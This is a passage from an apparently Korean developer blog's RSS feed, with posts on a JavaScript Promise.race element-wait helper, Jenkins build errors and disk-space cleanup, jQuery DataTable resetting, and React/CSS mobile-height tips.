  const checkForElement = () =&amp;gt; new Promise(resolve =&amp;gt; {    
    const intervalId = setInterval(() =&amp;gt; {
      const element = document.getElementById(selector);
      if (element) {
        console.log(element)
        clearInterval(intervalId);
        resolve(element);
      }
    }, interval);
  });

  const timeoutPromise = new Promise(resolve =&amp;gt; {    
    setTimeout(() =&amp;gt; resolve(null), timeout);
  });

  return Promise.race([checkForElement(), timeoutPromise]);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그나저나 리액트 해야되는데 .. 요즘 자바 프로젝트 한다고 다 까먹겠네 ㅠ&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>await element</category>
      <category>clearInterval</category>
      <category>PROMISE</category>
      <category>Promise.race</category>
      <category>setInterval</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/218</guid>
      <comments>https://bug41.tistory.com/entry/javascript-await-%EC%9C%BC%EB%A1%9C-element-%EA%B0%80%EC%A0%B8%EC%98%A4%EA%B8%B0-Promiserace#entry218comment</comments>
      <pubDate>Wed, 16 Oct 2024 15:16:01 +0900</pubDate>
    </item>
    <item>
      <title>[Jenkins] 젠킨스 빌드 오류, jenkins.war 위치 , workspace 위치</title>
      <link>https://bug41.tistory.com/entry/Jenkins-%EC%A0%A0%ED%82%A8%EC%8A%A4-%EB%B9%8C%EB%93%9C-%EC%98%A4%EB%A5%98-jenkinswar-%EC%9C%84%EC%B9%98-workspace-%EC%9C%84%EC%B9%98</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;젠킨스 버전 업데이트 하려다가 , 기존 서버에서 java 1.8 사용중이라.. 아래와 같이 개같이 실패하고 ㅋㅋ&lt;/p&gt;
&lt;pre id=&quot;code_1729042922445&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;jenkins.model.Jenkins#cleanUp: Jenkins stopped
Error: A JNI error has occurred, please check your installation and try again
Exception in thread &quot;main&quot; java.lang.UnsupportedClassVersionError: executable/Main has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;문제는 여기 단순히 젠킨스만 돌아가는게 아니고 온갖 배치도 다 돌아가는 서버라 괜히 java 버전 잘못 건드렸다가 호되게 당할것같아서 포기하고 여튼 업뎃 실패를 하게 되면서 젠킨스가 헤까닥 했었는데 다행히&lt;br /&gt;기존 젠킨스 war 파일이 살아있어서 롤백을 하면서 되살리긴하였지만, 약간 꼬인감이 없잖아 있는듯하다.&lt;br /&gt;&lt;br /&gt;다행히 전에 사용되던 war 파일이 tmp 였나 임시로 롤백 되있는 상태라 이름만 바꿔주고 젠킨스 재시작해서 되살림&lt;br /&gt;war 경로는 별도로 설정 안고쳤다면 /usr/lib/jenkins 에 있을거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;빌드 오류 1&lt;/b&gt;&lt;br /&gt;cannot update the ref 'refs/remotes/origin/feature/myBranch': unable to append to '.git/logs/refs/remotes/origin/feature/myBranch ': Permission denied&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kNoyD/btsJ7ubbrm2/vNqw3wsMer4jnNlJKf7Osk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kNoyD/btsJ7ubbrm2/vNqw3wsMer4jnNlJKf7Osk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kNoyD/btsJ7ubbrm2/vNqw3wsMer4jnNlJKf7Osk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkNoyD%2FbtsJ7ubbrm2%2FvNqw3wsMer4jnNlJKf7Osk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1217&quot; height=&quot;426&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;해결 방법&lt;/b&gt;&lt;br /&gt;이건 /var/lib/jenkins/workspace 경로로 진입해서 내가 배포하려는 프로젝트 폴더명 mv 로 _bak 이름 추가해서 백업해놓고&lt;br /&gt;다시 재배포하니 정상작동 했다.&lt;br /&gt;사실 지워도 상관없던듯&lt;br /&gt;혹시 몰라서 그냥 백업 해놓음 ㅎ&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 빌드 오류 2&lt;br /&gt;&lt;/b&gt;[ERROR] Failed to execute goal org.apache.maven.plugins:maven-clean-plugin:3.1.0:clean (default-clean) on project myProject: Failed to clean project: Failed to delete /var/lib/jenkins/workspace/myProject222/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst -&amp;gt; [Help 1]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1422&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqbxBW/btsJ7AoVzba/AlpOsPfpvxRLWJsT0K0g2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqbxBW/btsJ7AoVzba/AlpOsPfpvxRLWJsT0K0g2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqbxBW/btsJ7AoVzba/AlpOsPfpvxRLWJsT0K0g2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqbxBW%2FbtsJ7AoVzba%2FAlpOsPfpvxRLWJsT0K0g2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1422&quot; height=&quot;576&quot; data-origin-width=&quot;1422&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결방법&lt;/b&gt;&lt;br /&gt;위 해결방법이랑 동일하게 그냥 /var/lib/jenkins/workspace 에서 프로젝트 날리고 하면 되는듯, 근데 이 문제는 target 폴더만 지워서 재 빌드 시도하니까 성공했음&lt;br /&gt;&lt;br /&gt;sudo rm -rf /var/lib/jenkins/workspace/myProject/target&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;용량 부족&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;용량 부족해서 빌드 실패하는거 보는건 또 처음인듯 한데 ..&lt;br /&gt;난 세상 모든 오류를 겪는 월야니까 ㅎㅎ&lt;br /&gt;&lt;br /&gt;ERROR:&amp;nbsp;Failed&amp;nbsp;to&amp;nbsp;parse&amp;nbsp;POMs &lt;br /&gt;java.nio.file.FileSystemException:&amp;nbsp;/var/lib/jenkins/workspace/myProject/target/my_project-1.0.5-SNAPSHOT.war&amp;nbsp;-&amp;gt;&amp;nbsp;/var/lib/jenkins/jobs/myProject/modules/com.ddd$my_project/builds/35/archive/com.ddd/my_project/1.0.5-SNAPSHOT/my_project-1.0.5-SNAPSHOT.war:&amp;nbsp;No&amp;nbsp;space&amp;nbsp;left&amp;nbsp;on&amp;nbsp;device&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1181&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nJoDW/btsJ7SJEPs1/R0w9knP4zcUAnEeHYSk9Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nJoDW/btsJ7SJEPs1/R0w9knP4zcUAnEeHYSk9Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nJoDW/btsJ7SJEPs1/R0w9knP4zcUAnEeHYSk9Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnJoDW%2FbtsJ7SJEPs1%2FR0w9knP4zcUAnEeHYSk9Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1181&quot; height=&quot;538&quot; data-origin-width=&quot;1181&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결방법&lt;/b&gt; &lt;br /&gt;사실 해결방법이 뭐 있겠나&amp;nbsp; .. 그냥 안쓰는 폴더 지우면된다.&lt;br /&gt;10년 다되가는 1기가 넘는 .csv 확장자 파일도 지웠고 ... 젠킨스 예전 빌드본도 지워서 용량 확보했다.&lt;/p&gt;
&lt;pre id=&quot;code_1729043638779&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 확장자 csv 인거 다 찾기
find . -type f -name &quot;*.csv&quot; -print


# 아래 경로에 확장자 csv 인거 싹다 삭제하기
find /home/디렉토리 -type f -name &quot;*.csv&quot; -exec rm -f {} +&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;난 위 파일들 정리하는거로는 좀 부족했어서 쓰잘데기 없는 과거 빌드 폴더를 좀 몇개 날렸다&lt;br /&gt;빌드한 순으로 폴더가 일일히 다 생기는데 정상적으로 빌드 된것들은 딱히 굳이 보관할 이유를 몰라서 , 어차피 소스로 다 있기도해서 날렸음&lt;/p&gt;
&lt;pre id=&quot;code_1729044758554&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/var/lib/jenkins/jobs/myProject/modules/com/builds&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 폴더 안에 순차적으로 #1,#2,#3,#4 요렇게 폴더들이 생성되있는데 안쓰면 삭제해주자&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;그외 용량 확인 관련 명령어 첨부&lt;/p&gt;
&lt;pre id=&quot;code_1729043458840&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#각 폴더별 용량 확인
sudo du -sh /* 2&amp;gt;/dev/null | sort -h

# /data 안에 모든 폴더들 용량별 출력
du -sh /data/* | sort -h&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;445&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q0QWM/btsJ6S4QQeK/3kzHMkmXmZO3IzHsic5Jw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q0QWM/btsJ6S4QQeK/3kzHMkmXmZO3IzHsic5Jw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q0QWM/btsJ6S4QQeK/3kzHMkmXmZO3IzHsic5Jw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq0QWM%2FbtsJ6S4QQeK%2F3kzHMkmXmZO3IzHsic5Jw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;445&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;445&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1729043541314&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#해당 폴더 용량 확인
sudo du -sh /var/lib/jenkins/jobs/myProject&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그외 용량확인 국룰 명령어 &lt;br /&gt;&lt;b&gt;df -h&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1729043763068&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Filesystem              Size  Used Avail Use% Mounted on
devtmpfs                3.9G   72K  3.9G   1% /dev
tmpfs                   3.9G     0  3.9G   0% /dev/shm
/dev/nvme0n1p1           20G   20G   55M 100% /
/dev/mapper/vg01-lvol1  485G  201G  260G  44% /data&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나 재밌는건 폴더명에 $ 달러가 들어가있는게 있었는데 , 암만 해도 cd 로 접근이 안되는것&lt;br /&gt;딱봐도 특수문자 때문에 안되는거 같아서 , 마치 mysql 에 홀따옴표 정상적으로 insert 안되는것 마냥&lt;br /&gt;앞에 \ 요거 붙여주면 정상적으로 찾아갈수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어 폴더명이 my$project 라 하면 cd ./my\$project 요런식&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>jenkins dir</category>
      <category>jenkins war</category>
      <category>jenkins workspace</category>
      <category>젠킨스 war</category>
      <category>젠킨스 war 위치</category>
      <category>젠킨스 workspace</category>
      <category>젠킨스 빌드 오류</category>
      <category>젠킨스 오류</category>
      <category>젠킨스 워크스페이스 위치</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/217</guid>
      <comments>https://bug41.tistory.com/entry/Jenkins-%EC%A0%A0%ED%82%A8%EC%8A%A4-%EB%B9%8C%EB%93%9C-%EC%98%A4%EB%A5%98-jenkinswar-%EC%9C%84%EC%B9%98-workspace-%EC%9C%84%EC%B9%98#entry217comment</comments>
      <pubDate>Wed, 16 Oct 2024 10:45:11 +0900</pubDate>
    </item>
    <item>
      <title>[javascript] jQuery DataTable Reset, 테이블 초기화</title>
      <link>https://bug41.tistory.com/entry/javascript-jQuery-DataTable-Reset-%ED%85%8C%EC%9D%B4%EB%B8%94-%EC%B4%88%EA%B8%B0%ED%99%94</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;jQuery DataTable 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제점 : 모달 창으로 검색해서 띄우는 table list 가 있는데 , &lt;u&gt;&lt;b&gt;모달창을 끄고 나면 테이블을 초기화 하고싶었다&lt;/b&gt;&lt;/u&gt;.&lt;br /&gt;사실 나도 초기화 안하고 그냥 쓰고싶었는데 , 부모창에서 select 하는 옵션 마다 모달의 검색 조건도 살짝 살짝 바뀌는 사이트여서 어쩔수없었다.&lt;br /&gt;&lt;br /&gt;검색 결과가 그대로 유지되어있으면 부모창에서 옵션을 바꿨을때 모달에서 맞지 않는 리스트가 보여지는게 싫었음&lt;br /&gt;&lt;br /&gt;대충 아래와 같은 모달창의 datatable 이 있다 가정했을때 닫기 눌렀을때 초기화를 시켜주기로함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;571&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQRiHF/btsJz7UIAqB/FHeePcYZP8Tis89QKAJ23K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQRiHF/btsJz7UIAqB/FHeePcYZP8Tis89QKAJ23K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQRiHF/btsJz7UIAqB/FHeePcYZP8Tis89QKAJ23K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQRiHF%2FbtsJz7UIAqB%2FFHeePcYZP8Tis89QKAJ23K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1039&quot; height=&quot;571&quot; data-origin-width=&quot;1039&quot; data-origin-height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 초기화는 크게 문제 없었다, 다만 초기화를 하기위해서 여러 조건들을 갖추는데 꽤나 애를 먹었다.&lt;br /&gt;datatable 초기화는 그냥 id 로 갖고와서 .DataTable() 한번 찍어주고, destroy 한번 해주면 끝난다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;fnCreateDataTables 는 대충 아래와 같이 되어있는 상태, '검색' 버튼을 누르면 ajax로 모달에 table 리스트를 뿌려줌&lt;/p&gt;
&lt;pre id=&quot;code_1726115144796&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;const fnCreateDataTables = function () {
    if (typeof aList == &quot;undefined&quot;) {
        aList = COMMON.Ajax.CreateDataTable(&quot;#aTblList&quot;, true, {
            url: '/test/getList',
            lengthMenu: [10, 25, 50, 100, 200, 500],
            data: function () {
                return $(&quot;#form&quot;).serializeObject();
            },
            columns: [
                { &quot;data&quot;: &quot;idx&quot;, &quot;class&quot;: &quot;columnc&quot;,&quot;render&quot;: function (data, type, full, meta) {
                        return data;
                    }
                },                    
                { &quot;data&quot;: &quot;useFlag&quot;, &quot;class&quot;: &quot;columnc&quot;, &quot;render&quot;: function (data) { return data === true ? 'O' : 'X'} },
                { &quot;data&quot;: null,      &quot;class&quot;: &quot;columnc&quot;, &quot;render&quot;: function (data, type, full, meta) {
                        return &quot;&amp;lt;div class='flex justify-center gap-2'&amp;gt;&quot; +
                            &quot;&amp;lt;button type='button' class='btn btn-primary btn-xs btn-mini auth-all'&amp;gt;&quot; +
                                &quot;&amp;lt;i class='fa fa-list-ul'&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&quot; +
                            &quot;&amp;lt;/div&amp;gt;&quot;
                    }
                },
                { &quot;data&quot;: &quot;regDate&quot;,        &quot;class&quot;: &quot;columnc&quot; },
            ],
            fnDrawCallback: function(settings) {
                //
            }
        });
    } else {
        aList.clearPipeline();
        aList.ajax.reload();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;모달창의 &quot;닫기&quot; 버튼에는 onClick=&quot;fnResetDataTable(this) &quot; 이벤트를 주었다.&lt;/p&gt;
&lt;pre id=&quot;code_1726111346099&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let aList, bList;

...중략

function fnResetDataTable(t){
	//클릭한 element 의 최상위 class=&quot;modal&quot; 인걸 찾는다
    const el = t.closest('.modal');

    if (el) {
    	// 테이블이 생성되면서 aList, bList 에 값이 담김
        const arr = [aList, bList];

        //테이블이 생성되어서 undefined 아닌것들(테이블이 된것들)만 추출한다.
        const availableArr = arr.filter(element =&amp;gt; {
            return typeof element !== &quot;undefined&quot;;
        })

        //undefined 아닌애들로 돌려서 해당 id reset 시키기
        for (let i = 0; i &amp;lt; availableArr.length; i++) {
            try{
                const getTableId = availableArr[i]?.context[0]?.sTableId;
                if (getTableId) {
                    COMMON.Ajax.ResetDataTable(&quot;#&quot; + getTableId);
                } else {
                    console.log(&quot;테이블 id 찾는 도중 에러발생 &quot;, availableArr[i]);
                }
            }catch (e){
                console.error(`테이블 초기화 도중 에러발생`, e);
            }
        }
		
        //다 끝나고 나면 다 undefined 처리 해버림
        [aList, bList] = [undefined, undefined];
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;ResetDataTable 은 아래와 같이 진행&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1726114812099&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;//초기화 부분
ResetDataTable: function(strLocation) {
    try {
        const table = $(strLocation).DataTable()
        if(table){
            table.destroy();

            const tbody = &quot;&amp;lt;tr class=\&quot;defaultData\&quot; style=\&quot;text-align:center\&quot;&amp;gt;\n&quot; +
                &quot; &amp;lt;td colspan=\&quot;5\&quot; style=\&quot;font-weight:bold; border:1px solid #ddd;\&quot;&amp;gt;-&amp;lt;/td&amp;gt;\n&quot; +
                &quot;&amp;lt;/tr&amp;gt;&quot;

            $(strLocation + &quot; tbody&quot;).empty().append(tbody);
        }
    }catch (e) {
        //console.log(e);
    }
},&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리해놓으니 진짜 별거 아닌거 같은데 여러번 삽질 진행했다 -_-&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;닫기에 onclick 이벤트 붙은것처럼 선택을 진행했을때도 아래 reset 함수만 호출해주면 되니까 이상없이 진행되었음&lt;br /&gt;&lt;br /&gt;undefined를 굳이 해야했나 ? 싶었는데, 굳이 해줘야되는거 맞음&lt;br /&gt;안해주면 createTable 부분에서 aList, bList 가 undefined 가 아닌것으로 인식을 해서 ajax.reload() 를 때려버리는데&lt;br /&gt;값을 가져오긴하는데 테이블의 기본적인 세팅, sort, order by , list 갯수 등이 초기화 되어서 지 멋대로 가져오는 문제가 있었음&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>DataTable</category>
      <category>datatable reset</category>
      <category>jquery datatable</category>
      <category>jquery 테이블</category>
      <category>table reset</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/216</guid>
      <comments>https://bug41.tistory.com/entry/javascript-jQuery-DataTable-Reset-%ED%85%8C%EC%9D%B4%EB%B8%94-%EC%B4%88%EA%B8%B0%ED%99%94#entry216comment</comments>
      <pubDate>Thu, 12 Sep 2024 13:28:24 +0900</pubDate>
    </item>
    <item>
      <title>[React, html , css] 작업 도중 메모, 재렌더링 key, 모바일 height 100%, border gradient 등등</title>
      <link>https://bug41.tistory.com/entry/React-html-css-%EC%9E%91%EC%97%85-%EB%8F%84%EC%A4%91-%EB%A9%94%EB%AA%A8-%EC%9E%AC%EB%A0%8C%EB%8D%94%EB%A7%81-key-%EB%AA%A8%EB%B0%94%EC%9D%BC-height-100-border-gradient-%EB%93%B1%EB%93%B1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 리액트에만 국한된건 아니고 퍼블리싱이 대부분인듯한데 여튼&lt;br /&gt;요번에 랜딩페이지 작업하면서 예전에 다 해봤었는데 깜빡하고 있었다가 다시금 상기된것 정리하려함.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;문제 1. &lt;b&gt;Key&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국문/영문 페이지가 존재하고 &lt;b&gt;FullpageSection&lt;/b&gt; 로 작업을 진행하였는데&lt;br /&gt;국문, 영문으로 전환시 이중연산자로 처리한게 대부분이라 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;재렌더링이 없었음&lt;br /&gt;문제는 국문은 Section 이 4개 , 영문은 Section이 5개&lt;br /&gt;영문 Section5 는 왜 계속 안나오나 ... 삽질하다가 결론은 재렌더링이 안되어서 국문 Section 으로만 가지고 있으니 백날 영문으로 전환해도 의미가 없는것&lt;br /&gt;&lt;br /&gt;해결방법 : &lt;b&gt;key 추가 ....&lt;br /&gt;&lt;/b&gt;key 만 추가 해주면 모든게 해결되는 문제였음 ..&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;694&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp7TzB/btsGI41hmQi/AsiVqPrfJdQqyaljZ7nWN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp7TzB/btsGI41hmQi/AsiVqPrfJdQqyaljZ7nWN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp7TzB/btsGI41hmQi/AsiVqPrfJdQqyaljZ7nWN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp7TzB%2FbtsGI41hmQi%2FAsiVqPrfJdQqyaljZ7nWN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;833&quot; height=&quot;694&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;694&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 2. 모바일 페이지 height : 100%&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모바일 브라우저가 정말 다양한데, 사파리 , 크롬, 삼성브라우저 등등등&lt;br /&gt;여튼 작업표시줄 height 가 정말 다양해서 암만 css 에서 height 100% 박아놔도 모바일 실제 크기보다 더 늘어져있는걸 볼 수 있다.&lt;br /&gt;그래서 어쩌라고 ? 작업표시줄 height 빼줘야한다.&lt;br /&gt;&lt;br /&gt;해결 :&amp;nbsp; context 이용해서 그냥 전반적으로 모든 component 에서 &lt;b&gt;작업표시줄 toolbarHeight 가져와&lt;/b&gt; 쓸수 있게끔 세팅해놓고, 각 원페이지 &lt;b&gt;컴포넌트에서 height 를 그만큼 빼줬다&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;처음에 100vh 를 할까 했는데, 어디선가 모바일은 100vh 쓰면 안된다고 주워들었던거 같아서 , 삽질하고나서야 아 맞다 그때 그랬지 싶었음..&lt;/p&gt;
&lt;pre id=&quot;code_1713400984534&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# DeviceContext.js

const [toolbarHeight, setToolbarHeight] = useState(0);
useEffect(() =&amp;gt; {
    const getMobileBrowserToolbarHeight = () =&amp;gt; {
        const vh = Math.max(document.documentElement.clientHeight || 0, window.innerHeight || 0);
        return window.screen.height - vh;
    };

    setToolbarHeight(getMobileBrowserToolbarHeight);
},[]);


# Section2.jsx

const { isMobile, toolbarHeight } = useContext(DeviceContext);

...생략...

//이모션
${theme.breakpoints.xl} {            
    height: calc(100% - ${({ toolbarHeight }) =&amp;gt; toolbarHeight}px);
    min-height: 100%;
    min-heght: -webkit-fill-available;
}

...생략...


return (
    &amp;lt;Section2 toolbarHeight={toolbarHeight}&amp;gt;
    	...생략...
    &amp;lt;/Section2&amp;gt;
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1714020046675&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 아니면 요 두덩이 중에 하나도 요긴하게 쓰임

min-height: 100vh;
min-heght: -webkit-fill-available;

//height: 100vh;
//height: -webkit-fill-available;
